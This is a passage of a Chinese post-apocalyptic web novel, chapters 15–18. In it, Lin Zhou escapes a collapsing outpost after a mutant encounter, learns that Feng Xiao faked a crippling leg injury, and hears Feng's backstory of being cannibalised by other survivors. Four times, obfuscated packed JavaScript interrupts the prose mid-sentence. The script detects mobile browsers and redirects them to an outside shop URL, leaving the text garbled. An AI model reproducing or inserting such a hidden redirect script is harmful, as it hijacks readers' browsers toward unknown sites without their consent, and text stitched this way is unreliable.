“还在这里。”另一个声音说。 “队长……那个样本,到底是什么?” 没有人回答。 画面切换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388026|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们进入了另一个房间——就是林昼现在所在的武器库。镜头扫过那些枪械,扫过那些弹药,最后落在一个金属箱上。 箱子打开了,里面放着一个透明的容器,容器里不知道是什么东西,上面盖着一块特殊材质的布,布上印着浮罗达的标志和警示符号。 “这就是样本?”有人问。 “别碰。”另一个人说,“就放在这儿,补充完弹药就走。” 画面里的人开始检查武器,往身上装弹夹,然后有人说话了:“这布盖着干什么?打开看看呗。” “别作死。” “看一眼又怎么了?能有多可怕?” 镜头转向那个说话的人,他笑着走到金属箱旁边,伸手去掀那块布。 “别——” 晚了。 布被掀开一角,画面剧烈地晃动。记录仪掉在地上,镜头歪了,只能看见一双脚在往后跑,信号中断。 林昼关掉记录仪,他抬起头看向那扇门,立刻起身,走出武器库。 郭离和卢双玲还在分装物资,他压低声音说到:“进来拿武器。” 郭离和卢双玲愣了一下,随即跟着他走进去,看到地上三具尸体皆是一惊。但他们很快明白状况,上手去挑趁手的东西。 林昼顺手拿了一把手枪,目光扫过墙面时却顿住了——那里挂着一把黑色的直刀。 刀身通体墨色,泛着幽深的光泽,刀刃上隐约流淌着暗纹,不知是锻造时留下的肌理,还是岁月摩挲出的痕迹。他伸手取下,刚触到刀柄,就感受到那种沉实的分量。 他忽然想起封宵拿刀的样子,林昼垂眼看了看手中的刀,嘴角极轻地动了动,他把刀收回鞘中,反手背在身上——他会喜欢的。 他们带好武器,迅速折回仓储区。几个架子已经被郭离和卢双玲搬空了,林昼从旁边拉开一只大号的登山袋,把面前的物资都往里塞,袋子很快鼓起来。 卢双玲转头看见旁边的医疗包,左右看了看,已经塞不下了,于是直接挂在背包的外挂带上。郭离也没有闲着,他拿得比卢双玲多得多,外套口袋里塞满了能量棒。 “走。”林昼压低声音。 他们立刻往门口移动,身上挂得满满当当,这次林昼走在最后面。 三个人穿过仓储区的门,重新踏入通道,脚步声再次回荡在空旷的走廊里。 通道很长,安静得只剩下他们三个急促的脚步声。 咚、咚、咚——林昼脚步一顿,他听见了第四个,从他身后不远的地方传来。 他没回头,继续往前走。 咚、咚、咚,第四个声音又出现了,这一次更清晰,不像是回音,像是有人在跟着他们的节奏。 林昼的手摸到腰间的枪,前面的郭离似乎也察觉到异常,问道:“怎么了?” “跑起来!”林昼喊道。 三个人的步伐乱了,脚步声变得错落,而那个脚步落在了郭离和林昼的脚步之间,原本错落的三重节奏里,硬生生插进来一拍。 这一次他们三个人都听见了。 15. 一物降一物 脚步声越来越近,林昼握着枪,猛地转身对着声音的来处,抬手开了两枪。子弹射进空荡荡的通道尽头,郭离和卢双玲同时停下动作,转过身如临大敌。 但他们身后什么也没有。 林昼抬起左手,握拳往下一压,做了个噤声的手势,他把枪口缓缓抬起,指向头顶。 郭离和卢双玲屏住呼吸,经林昼一提醒,他们二人都感觉到从天花板上传来的注视感,正准备抬头去看,下一秒—— 一张脸出现在林昼面前。 准确的说,那不是一张脸,是某种像脸的东西,扭曲的五官错位地挤在一起,那张脸紧紧地贴着林昼,眼睛——如果那能叫眼睛的话——直直地盯着林昼。 它的整个身体倒挂在天花板上,头垂在下面,嘴巴咧开,咧到一个不可能的角度,里面是密密麻麻的牙齿,像鲨鱼一样。此时,它的牙齿蠕动着,发出轻微的咔嚓声。 林昼没动,那只怪物的脑袋微微歪了歪,喉咙里发出一声极低的咕噜声,像是在辨认他。 林昼小心翼翼地举起右手,枪口抵着怪物的下颌,但没扣扳机。他的左手背在背后,对卢双玲和郭离比了个手势:走。 卢双玲看见那个手势,她想动,但是两条腿不停地打颤,一步都迈不出去。郭离也看见了那个手势,他知道自己应该跑,但他不敢动,怕自己一动,那只怪物会优先跳过来袭击自己。 见他们两人没动,林昼再次对他们摆了摆手。 郭离咽了口唾沫,咬咬牙转身就跑,他根本不敢回头看那只怪物有没有追上来,冲着来时的方向拼命地跑。 卢双玲见郭离跑了,那只怪物毫无动作,她终于找回一点力气,踉跄着转身,跟在他后面跑出去几步,然后忍不住回头看了一眼,林昼和怪物对峙着,谁也没有动。 脚步声越来越远,最后彻底消失在通道尽头,通道里安静下来。林昼把自己的呼吸压低,尽量不去惊动面前这东西。 它仍然挂在林昼面前,眼睛直直地盯着他,林昼能听见它的呼吸声,不像是正常人那种平稳的起伏,而是一阵一阵,像是有什么东西在它胸腔里一收一缩。它每呼吸一次,脸上的五官会跟着微微抽动,扭曲的鼻子像是在嗅他。 变异体的核心不像腐行尸一样,都长在脑袋上,林昼没有把握扣下扳机能把它一枪毙命。他伸手缓慢地往身后摸去,背包里有刚刚从武器库带出来的炸药。 那只怪物的喉咙里再次发出一声极低的咕噜,和之前的几声不太一样,变得更轻更软了一点,像是在表达什么。 然后它动了,它的头凑过来,轻轻蹭了蹭林昼的侧脸,一股咸湿且带着腥气的味道扑面而来。 林昼浑身的肌肉瞬间绷紧,指节扣在扳机上,差一点就要按下去。 他看见它的眼睛在蹭他的时候,竟然闭上了,胸腔发出满足的呼噜声。 它……好像在撒娇…… 林昼被这个想法惊住了,脑子里闪过这个念头的时候,他自己都觉得荒谬。 怪物的脑袋又蹭过来,这一次蹭的是他的脖子,那些灰白的粘液从它皮肤上滴下来,粘在林昼的衣领上。 这东西的行为和他认知里的变异体不同,一个想法突然出现在林昼的脑子里——它被喂养过,并且把自己当成了那个喂养它的人。 这个念头一冒出来,林昼立刻决定实验一下。 林昼的余光扫过它的嘴,那一圈密密麻麻的尖利牙齿,毫无疑问是吃肉的。 林昼将枪收回去,淡定地摸出炸药和小刀。怪物从天花板上跳下来,小孩般的身量,几根蜘蛛腿一样的手指扒着林昼的裤脚,整个身子扭来扭去。 他抽出刀,那只怪物感应到了什么,蹭他的动作停住,两只眼睛盯着他手里的刀。 林昼看着它,然后刀尖抵在自己的食指上,用力一划,血瞬间涌出来,一滴一滴,落在地上。 怪物的瞳孔瞬间放大,盯着地上的血,发出急促的呼噜声,它放开林昼,四肢着地,趴在地上,把头凑到那几滴血前面,伸出细长的舌头。 林昼将炸药放在它背后,设置好了定时器,看怪物的注意力还在地上,于是悄悄后退。 林昼离得远了些,转身就跑,动静惊动了那只怪物,他听到身后传来一声尖锐的嘶鸣。 轰—— 一声巨响,定时炸弹炸了,火光从身后涌来,冲击波推得他往前踉跄了一步,耳朵里嗡嗡作响,整个哨站正在崩塌,头顶的感应灯光瞬间熄灭。 林昼拼命地往前跑,终于看到出口的天光,还有一个人影站在那里。 林昼看见他的时候,封宵半个身子已经踏进门里,一只手扶着墙,脸上的表情看不清,但那个姿势像是要进来。 “快出去!”林昼喊出声的时候,喉咙里呛入烟尘,又干又疼。他不知道自己的声音有没有传过去,只能拼命地跑。 封宵看见他了,他停住往里冲的姿势,却没有原地等待。他迎着林昼跑了两步,头顶的天花板不停往下掉,林昼生怕砸到他。 封宵接住了林昼,他的力气大得惊人。林昼听见封宵的心跳,隔着衣服,砰砰砰地砸在他耳边,和他自己的心跳混在一起,分不清是谁的。 “不要命了!”林昼喊了一声,“快走!” 头顶又一声巨响,整个哨站凹陷下去,落在他们身后三步远的地方,最终轰的一声,化为一片废墟。 他们冲出去了,林昼闭着眼睛,大口大口地喘气,外面的空气都感觉清新不少。呼吸渐渐平稳下来,他这才感觉到封宵的手还在他背上。 郭离是第一个跑出来的,他冲出哨站的时候,几乎是滚出去的,脚下一绊,整个人扑在地上。 然后他马上爬起来,转身去看后面,卢双玲跟在后面跑出来,她跑得比郭离慢,脸色惨白,嘴唇没有一丝血色,整个人被抽干了力气。 “我哥呢?” 郭离转过身,看见封宵站在他背后,往他们身后看。他的眉头皱着,目光扫过他们俩,又往那扇门里看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388027|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林昼呢?”封宵盯着他们,声音比刚才高了。 郭离张了张嘴,没说话,封宵看着他,那眼神让他后脖颈发凉。 “说话。”封宵说。 “他……”郭离硬着头皮开口,“他还在里面。” 如果林昼有什么闪失,毫无疑问他和卢双玲肯定会血溅当场。 封宵的眼睛眯了一下。 “他让我们先走。”卢双玲的声音从旁边传来,无力地解释道,“里面有只怪物,他让我们先走……” 说完她又补充了一句:“怪物……没……没攻击他……”说到后面,她的声音越来越小。 封宵没有继续问下去,他朝着门口走去,这时从里面传出爆炸声。郭离一把拉住封宵,说道:“别进去,里面要塌了!” 封宵甩开他的手,虽然动作很轻,但是郭离却不敢再伸手,因为他看见了封宵的表情——他的眼神变得空洞,脸上没有愤怒,什么表情也没有,他好像根本没有在听,像是被什么东西抽走了灵魂。 郭离确定他没听到自己说话,他的眼睛盯着那扇门,只是往前走,脚步不停。 “封宵!”卢双玲见他往里走,急着往前追了一步,已经无暇探究为什么他的腿没事,“你……”话还没说完就听到从里面传出林昼的声音。 有个人影从里面冲出来,整个人被灰尘裹着,身后背着把黑色直刀,他跑出来的瞬间,几乎是扑出来的,但没摔下去。封宵往前冲了两步,接住了他。 卢双玲虽然离得近,但她还是没看到封宵前一秒还站在那儿,后一秒怎么就到了林昼面前。 逃出生天,林昼还来不及说什么,就被封宵捞进怀里。 林昼整个人被箍得死死的,一口气差点没喘上来,封宵抱得太紧了,勒得他的肋骨发疼,但他没挣扎。 因为封宵在发抖。 林昼抬起手,落在封宵的后背上,轻轻拍了两下。 “没事了。” 郭离和卢双玲站在不远处,看着两个抱在一起的人影,谁都没出声。 过了半分钟,封宵的手松了一点,让林昼能喘上气来,但他还是没有完全放开,一只手扣在林昼后背上,另一只手还托着他后脑勺。林昼现在才意识到,原来封宵比他还高出半个头。 封宵的呼吸慢慢平稳下来,他抬起头,眼睛里有了光,回过神来。他看着林昼,目光从上到下扫了一遍,确认他身上没少什么零件。 林昼让他看,等封宵的目光终于停在他脸上的时候,林昼开口了。 “你的腿能走了。”不是问句。 封宵愣了一下:“什么?” “你的腿。”林昼低下头,视线往下移,落在封宵的腿上。 封宵双腿站立,稳稳地站着,他顺着林昼的目光往下看,然后他沉默了。 林昼抬起头,看着他,问道:“你的腿什么时候好的?” 封宵低着头,抿着嘴,目光求助似得看向郭离和卢双玲,那两人默契地背过身去。 16. 冷战 林昼等了几秒,见封宵不说话,他转身走回车里,拉开车门,坐上了副驾驶座。他把那把黑色直刀取下来,放在脚边,那把刀他一直背在身上,从仓储区一路逃出来都没有丢下,现在看着只觉得心中烦躁。 郭离站在车外,看着后座空出来的座位,又看了眼封宵,一时之间拿不准自己该往哪里坐。这气氛不对,他再迟钝也感觉得出来。 卢双玲的目光在两个人之间转了一圈,她也不知道说什么,只能默默爬上车,把那些从仓库里带出来的物资往角落挪了挪,在后座靠窗的位置坐下。 “郭离,来开车。”林昼的声音从前排传来,听不出情绪。 郭离愣了一下,赶紧拉开驾驶座的门,坐进去。 封宵在车门外站了一会儿,终于拉开车门,坐到后座,和林昼隔着一个靠背。 两人的距离其实很近,他伸手就能碰到林昼的肩膀,但他没伸手,林昼也没有回头。 郭离发动车子,握着方向盘,他不敢看副驾驶,更不敢看后座,总觉得车里的氛围冷到了极点。他觉得自己应该做点什么,于是开口问道:“那个……我们现在应该往哪里走?” 卢双玲偷偷看了封宵一眼,他脸色苍白,眼睛看着前面,盯着副驾驶座上那个人的后脑勺,嘴唇抿成一条线。卢双玲忽然想起昨天封宵说得那些话,当时她觉得这个人冷血又可怕,但现在看着他的样子,却又觉得他好像很可怜。 “你避开红光闪烁的位置,找个安全区域,我们需要修整和清点物资。” “好。”郭离把车开上一条岔路,朝着一片建筑稀疏的方向驶去。中控台上的生物能量探测屏亮着,光点愈发稀疏,再往前开一段,应该就能找到安全的地方。 车里的氛围太过压抑,郭离受不了这种安静,他清了清嗓子,开口:“刚才底下那玩意儿,到底是什么?我从来没见过那样的,跑得太快了,还跟人似的学我们走路。” 说完,他突然意识到不是跟人似得,那玩意以前就是人来着。 卢双玲想起那只怪物还是一阵后怕,说道:“真是太可怕了,光是想起来都要做噩梦。” “那只怪物是潘多拉病毒爆发后产生的变异体,没有变成腐行尸,而是直接进化成了别的东西,可以称之为变异体。从那只变异体来看,进化不是单一的,世界上应该还有其他类型的变异体,可能还有人形的怪物也说不准。” 封宵浑身一震,他后背绷紧,放在膝盖上的手握紧了,又松开。 林昼在意的倒不是那只变异体,而是浮罗达队伍所说的样本,他在离开之前听萧知沉提起过,将会派遣队伍前往深度污染区执行任务,那么让他们带回的样本到底是什么?为什么还会有疑似被豢养的变异体跟着他们?难道在深度污染区,有人养着这种东西? 太多的困惑萦绕在林昼的脑海里,他侧过头看向窗外,视线扫过后视镜,不经意间看到了封宵的脸。 封宵低着头,脸上的表情很沉重,看起来心事重重。林昼的目光在后视镜里停了一秒,然后移开视线,看向窗外,但脑子里那张脸并没有消失。 他想起封宵冲向他的那一刻,他的腿完全没有问题,他知道封宵有某些地方很特别,从第一次见到他,就知道。 封宵对腐行尸毫无畏惧,甚至是视而不见的态度,他不依靠生物探测就能精准地避开尸群,如果让林昼大胆猜测的话,那些腐行尸大概不会主动攻击封宵。 对于封宵的腿伤,林昼其实早就有所察觉,他腿上的伤口状况和骨裂痕迹,根本不像是正常车祸撞击产生的,倒像是硬生生捏断了腿骨,一想到这个可能性,林昼心里猛地一揪。 他不明白封宵为什么要这么做。 封宵坐在后座,他不敢说话,也不知道该说什么。当林昼开口问他的时候,他脑子里一片空白,他知道瞒不住了,现在的他满脑子只有一个念头: 他发现我和别人不一样,发现我是个怪物—— 他……还会在乎我吗? “到了。”郭离在日落之前终于找到了一个安全的地方,门窗完好,周围没有腐行尸活动的痕迹,他把车停在院子里。 林昼第一个下车,直接上手去搬物资,另外三人见状也跟着把东西搬进小楼,堆在一楼尚且还算干净的角落里。 林昼蹲在物资旁边,一样一样分门别类,卢双玲在旁边帮忙,把林昼清点好的东西重新装袋。 “你们俩……”卢双玲开口,有点小心翼翼,“到底是什么关系啊?” 林昼手上的动作一顿。 “不是亲弟弟吗?” 林昼继续清点物资,头也没抬:“捡来的。” 卢双玲想起封宵坐在后座的样子,她想:捡来的会用那种眼神看一个人吗?会冲进正在崩塌的通道里去救人吗? 她看了一眼林昼,问道:“那你是不是生他的气了?” 林昼没说话。 “之前他腿伤成那样,都是你在照顾他,又是扶,又是背,给他找药,弄吃的。我还以为你们是亲兄弟。现在……”她顿了一下,“现在他腿突然好了,你是不是觉得他骗了你?” 林昼把手里的东西放下,他抬起头,看着卢双玲,说道:“这件事,我希望你不要对其他人说。” 林昼的眼神是很认真地请求。 “嗯,我明白,我不会说的,待会儿我也去转告郭离一声。”卢双玲瞬间明白,林昼不希望别人知道封宵有这种能力。 “谢谢。”林昼点了点头,继续清点物资。 另一边,封宵和郭离在外面生火,这个时候四个人已经饿得饥肠辘辘了。 小楼后面有一片空地,堆着一些废弃的木料,火苗窜起来的时候,天色暗下来,等他们饱餐之后,天已经完全黑了。 四个人围坐在火堆旁边,卢双玲和郭离坐在一起,封宵坐在另一边,和林昼隔着火堆。 “之后有什么打算?”郭离问。 林昼看着火堆,沉默了一会儿:“我要去白塔区。” “那里不是最开始爆发病毒的地方吗?” “嗯,那里已经被划为禁区了,理论上说,那里可能是变异体最多的地方,也是最危险的地方。” 郭离和卢双玲对视一眼,问道:“你去那里干什么?” 林昼的目光从火堆上抬起来,说:“我有我必须要做的事情,你们没必要跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388028|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我冒险,后面等找到相对安全的幸存者聚集地,你们可以安置下来。” 卢双玲沉默了一会儿,她想起姐姐,想起一路上见到的那些腐行尸,想起那只倒挂着的怪物,她知道自己没什么本身,跟着林昼也只会拖后腿。 “好。”她低声道,“谢谢。” 林昼看向郭离,郭离低着头不知道在想什么,过了好一会儿才说道:“我不去,我要跟着你。” “白塔区非常危险。” “我知道。” “可能会死。” “我知道。” 林昼沉默了几秒,叹了口气:“哎,看来就卢双玲一个省心的。” 郭离咧嘴笑起来,卢双玲在一旁也跟着弯起嘴角。 火堆噼啪地响着,夜风吹过来,带着夜半的凉意。林昼问了郭离,问了卢双玲,唯独没有问封宵。 封宵一直没说话,低着头,火光映在他脸上,照得那张脸忽明忽暗。 郭离和卢双玲先去睡了,火堆旁只剩下林昼和封宵。 夜已经很深了,月亮不知什么时候躲进了云层,四周暗下来,只剩下火光在两人之间明明灭灭。远处的废墟轮廓隐没在黑暗里,偶尔有风吹过,带起一阵沙沙的响声。 封宵仍然低着头,一动不动。 林昼隔着那堆将熄未熄的火,看着封宵。火堆里的柴又塌了一根,火星溅起来,在空中划过一道弧线,又灭了。 林昼站起来,拍了拍身上的灰,转身往里屋走去。 封宵看着那个越走越远的背影,心里咯噔一声,他哥好像不要他了。 这个念头一冒出来,就不可抑制地疯长,像一根针一样,狠狠地扎在他的心上,他突然明白,比起被当成怪物,他更怕林昼再也不理他。 “哥!”封宵突然喊了一声,声音带着颤抖和恐惧。 林昼脚步一顿,停下来。 封宵张了张嘴,喉咙发紧:“……你想不想听一个故事?” 林昼没动。 封宵等了一会儿,眼眶慢慢红了。他没抬头,也不想让对方看见。火堆里噼啪响了一声,最后一点光也暗下去。 然后他听见了脚步声,肩膀绷了一瞬。 林昼走回来,在他身边坐下,隔着不到一臂的距离。不远,也不近。 夜很静。 封宵看着那堆将熄的灰烬,忽然开口。 “从前有一个孩子。”他的声音很轻,像在讲别人的事。林昼上一次听他讲童年故事,还是以“我”为人称。 “他无父无母,在满是怪物的城里流浪。饿了就跟野狗抢食,渴了就去护城河里喝水。” 他停了一下:“后来有一伙好心人路过,他们把他带上车,给他干净的水喝,还给他面包吃,对他特别好。” 林昼侧过脸看他。 封宵没察觉,只是盯着那堆灰:“直到有一天,他听到他们说——” 他声音忽然断了,夜风吹过来,凉意顺着领口往里钻。封宵缩了一下肩膀,把后面的话咽回去,又咽了一口。 他再开口时,声音反而稳了。 “这孩子养着,万一后面没吃的了,还能顶上几天。” 17. 听不下去了 封宵没用多久就知道了那句话的含义。 他不记得是哪一天,夜里所有人都被惊醒,有人变成了怪物,他跟着大人们一起逃跑,尽管怪物并不会追他。 等大家回过神来才发现物资留在了怪物堆里。随着物资越来越少,那些原本还有说有笑的人,渐渐不说话了,他们看他的眼神变得奇怪。 后来他懂了,那是看食物的眼神。 他们找不到补给,城市被搜空,能吃的都被搜刮干净,最后他们躲在一个地下室里,饿得啃自己的皮带,去喝墙角的雨水,有人躺在地上不动,第二天就变成尸体被拖出去。 封宵蜷在角落里,看着那些人一天比一天瘦,一天比一天绝望,然后有人看向了他。 夜里,他被按住,一只手捂住他的嘴,他挣扎了一下,但很快就不动了。他没喊,也没哭,他也不知道为什么,好像早就等着这一天似的。 冰凉的刀刃贴在他的腿上,割下去的时候,疼得他浑身抽搐。他死死咬住牙齿,咬得满嘴是血。眼前一阵阵发黑,他感觉到一股撕扯的疼,从皮肉一直钻到骨头里。 血从腿上涌出来,淌过皮肤,滴在地上。黑暗里,有人在低声说话。 “够了够了。” “这能撑几天。” “别弄死了,要发臭,快点拿东西把腿绑住!” 封宵躺在地上,身体不停地发抖,他把自己蜷成小小一团,像一只受伤的野兽,躲在黑暗里等死。他原以为自己会这样死去。 第二天醒来的时候,封宵低头看了自己的腿,他扯开绑在上面的烂布条,里面是狰狞的血肉,剜得很深,露出里面的白骨来。 到了晚上,那条腿上什么都没有了,光洁如初,像从来没被切开过。 封宵看着自己的腿,忽然笑起来,现在是不是有不被丢掉的理由了。 意料之中,那些人看见他的腿,都伸出手去触碰那块新生的皮肤,他们眼睛里的东西变了,不再是打量,而是一种更热烈的东西。 “这孩子……”有人喃喃地说,“不得了……” “……你们看见没有?那腿……长好了。” “看见了,这他妈是宝贝啊。” 几个人围过来,七嘴八舌地说话,最后封宵被他们当成宝贝似地抱在怀里。 从那天起,他们对他更好了。他们会对他展露笑容,会对他嘘寒问暖,虽然他知道那是假的,但那种被注视着、被关心着、被需要着的感觉——哪怕只是错觉——都太温暖了。像一簇小小的火苗,在黑暗里摇曳着,让他忍不住想要靠近。 他有很多机会可以逃走,但是他还是留了下来,日复一日。 只有一个老头病死的时候,对他说:“你……别怪他们……” 封宵看着他。 “他们……也没办法……”老头咳了两声,“活下去……太难了……” 封宵没有说话,他习惯了刮骨剜肉,那对他来说已经不是难以承受的痛苦。 老头的眼睛浑浊了,看他的眼神却变得温热,他最后说了句:“你走吧……别再让人知道……知道……”话没说完,那双眼睛永远闭上了。 封宵听懂了他未说完的言语,老头下葬的第二天,封宵离开了。 他没走多远就被那群人抓回营地,他们一改慈祥的笑脸,变得面目可憎,把他用锁链绑起来,他的名字也从“小宝”变成了“小怪物”。 他们变本加厉地在他身上讨要食物,封宵陈述的时候,脸上没有多余的表情,他淡淡地说:“我记得最狠的时候,我两条腿上都没剩几两肉,而且……” “别说了!”林昼出声打断他,声音是他自己都没预料到的急促。 封宵愣了愣,剩下的话卡在喉咙里。他转过头,第一次正面林昼。火光太暗,他看不清林昼的表情,但能感觉得到他此刻有些愤怒。 “我不想听了。”林昼猜得到后面的故事,那群人把封宵当成了取之不尽的食粮,他根本不敢想那个画面。 他忽然想起浮罗达做的那些实验,他一开始抱着目的接近封宵,他是用什么眼神在看封宵的呢?他看封宵的时候,和那些人看他的时候,有什么区别? 这个念头像一根刺,扎进他心里。 “我不该生你的气。”林昼开口,声音有些涩,“我也不是气你骗我。” 封宵怔怔地看着他。 “我气的是……”林昼顿了顿,像是在找合适的词,“你捏断自己腿骨那件事。我只是……心疼。” 封宵的睫毛颤了一下。 林昼转过头,终于对上他的眼睛:“我不明白,你为什么要伤害自己?” 封宵的嘴唇动了动,半晌才找回自己的声音:“哥,我只是想留在你身边,我不想再孤孤单单,一个人流浪……” 风吹过来,把火堆里的灰烬吹起来,飘散在夜色里。月光从云层后面透出来,落在他们身上。 两个人一时之间都没有说话,林昼先开口:“那个故事里,结局是什么?” 封宵犹豫了一下,还是决定实话实说:“我把他们都杀了。” “那我就放心了。”林昼松了一口气。 封宵不知怎地,眼睛湿了,他怕林昼看出来,于是抬起手揉了一下,嘟囔道:“灰吹到我眼睛里了。” 林昼笑了笑,但他忽然收起笑容,严肃地说:“你还记得我们初见时,我给你打了一针吗?” 封宵点点头。 “那个针剂不是普通的药。”林昼说,“是潘多拉拟态三型药剂。” 封宵眉头动了动,他没听懂那个词。 林昼解释道:“就是我在体育馆放腐行尸时,给自己打的那个。我发现你对那种药剂有免疫作用,能不受副作用影响,从一开始,我的本意其实是研究你。” 林昼没有回避他的目光,继续说:“你的体质,你拥有这种能力的原因,你身上所有不寻常的地方,我都想弄清楚。” 封宵半晌没说话,最后回过神来,喃喃道:“哥。” “嗯。” “你是说……你需要我?” “嗯……可以这么说。”林昼发现这孩子抓重点的能力有待提高,“那你愿意配合我做研究吗?” 封宵笑起来,露出一脸天真的模样,倒是像他们刚遇见的时候。 “我愿意。” 那三个字落在黑暗里,轻轻的,却让林昼的心脏狠狠跳动了一下。 月光下,林昼伸出手,碰到封宵的肩膀,他的手顿了顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388029|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,往旁边移了移,落在封宵的后脑勺上,揉了揉,像揉一只小动物。 封宵顺从地低下头,问道:“哥,你永远不会丢下我吧?” “嗯。” 第二天早上,郭离是被香味熏醒的。 他睁开眼,愣了两秒,以为自己还在做梦。那香味太真实了,热腾腾的,带着肉香和某种谷物的甜味,直往鼻子里钻。 他爬起来,推开木屋的门,然后愣住了。 院子里,封宵蹲在火堆旁边,正往锅里下什么东西。那口旧锅咕嘟咕嘟地冒着热气,香味就是从那儿飘出来的。林昼站在他旁边,手里拿着一包军用口粮,正在拆包装。 封宵抬起头,冲林昼笑了笑:“哥,再给我一包那个脱水蔬菜。” 林昼低头翻了翻,递过去。 封宵接过来,熟练地撕开,倒进锅里。然后他用勺子搅了搅,舀起一勺汤,吹了吹,递到林昼嘴边。 “哥,尝尝咸淡。” 林昼低头喝了一口。 “淡了点。”他说。 封宵点点头,又从旁边捏了一小撮盐撒进去。他搅汤的时候,袖子滑下来,露出一截手腕。林昼看了一眼,伸手帮他把袖子往上挽了挽。 封宵愣了一下,然后眼睛弯成了两道月牙。 郭离站在门口,看着这一幕,整个人都傻了。 他揉了揉眼睛,又揉了揉,确定自己没看错。 昨天还冷得像两块冰的人,今天怎么突然就—— “郭离?”卢双玲的声音从身后传来,“你站门口干嘛?” 她挤过来,也愣住了。 院子里,封宵正在盛汤。他盛了第一碗,双手端给林昼。林昼接过来,喝了一口,点点头。封宵就笑了,那笑容像个小太阳似的,不知道是哪里来的阳光开朗大男孩,看起来和他们印象里的人不是同一个。 卢双玲和郭离对视一眼。 “……我们是不是穿越了?”卢双玲小声问。 郭离摇了摇头,又点了点头,最后干脆放弃思考,大步走过去。 “好香啊!”他夸张地吸了吸鼻子,“封宵,你这手艺绝了!以后咱们就靠你活着了!” 封宵抬起头,看了他一眼,又看向林昼。林昼正低头喝汤,嘴角微微弯着。 封宵说:“我只做给我哥吃,没你们的份。” 郭离:“……” 卢双玲:“……” 这才一晚上,怎么就变成这样了? 卢双玲默默走到火堆边坐下,接过林昼递来的汤。她喝了一口,眼睛亮了:“真好喝。” 郭离也坐下来,大口喝着汤,一边喝一边含糊不清地说:“我之前吃的那些都是什么玩意儿……” 封宵没理他,又盛了一碗,端给林昼。 “哥,再喝一碗。” 林昼看了他一眼:“你自己喝。” “我喝过了。”封宵眨眨眼,“这是专门给你盛的。” 林昼接过碗,没再说话。 卢双玲咬着勺子,看着那两个人。她忽然觉得,昨天那种让人喘不过气的气氛,好像从来没存在过一样。 吃完早饭,郭离提议把剩下的物资再清点一遍,规划一下接下来几天的路线。 18. 禹城 四个人围坐在院子里,阳光从云层后面透出来,落在他们身上,暖洋洋的。郭离在地上铺开地图,用手指在上面点着一个位置。 “咱们现在在这儿,周围没有什么幸存者据点。据我所知,除了浮罗达这种传说中的乌托邦外,没有其他能容纳数万人的安全地。”他一边说一边去看林昼的脸色。 林昼低头看着地图,听到他的话,若有所思。 “如果我们要去白塔区,路过的这些地方都没有据点吗?”卢双玲问。 林昼的表情严肃了一点:“如果当真没有人类的幸存地了,我也不建议回浮罗达。” 郭离注意到林昼说的不是去浮罗达,而是“回”。林昼的手顺着地图上的线条,一直划向白塔区。 封宵坐在林昼旁边,目光一直跟着林昼的手指,林昼指哪儿,他就看哪儿。 林昼抬起头,正好对上他的目光。 “怎么了?”林昼问。 封宵答道:“没什么。不过哥刚刚指过的地方就有一个大型的人类活动点。” 林昼看了他一眼,把地图往封宵那边挪了挪。 封宵伸出手在离他们所在位置不远的地方,指了一下:“就是这里,跟前面的社区不一样,这里讲规矩,以物换物,算是……过得下去。” 林昼有点怀疑,封宵所说的过得下去的标准,是否和正常人一样。 “也没其他办法了,既然封宵都这么说,我们就去这里看看吧。”他们达成统一意见。 中午的时候,封宵主动掌勺,林昼打下手,郭离和卢双玲负责捡柴火和收拾碗筷。四个人分工明确,配合默契,不一会儿就整出一锅热腾腾的乱炖。 郭离尝了一口,差点把舌头吞下去。 “封宵,你这手艺,真的绝了。”他一边吃一边说,“以后谁嫁给你谁有福气。” 封宵正在给林昼夹菜,闻言抬起头,认真地说:“我不娶别人,我这辈子都要跟着我哥。” 郭离被噎了一下,卢双玲在旁边笑出了声。 林昼没抬头,淡淡地说:“吃饭都堵不住你们的嘴。” 封宵眨了眨眼,又给林昼夹了一筷子菜。 “哥,你多吃点。” 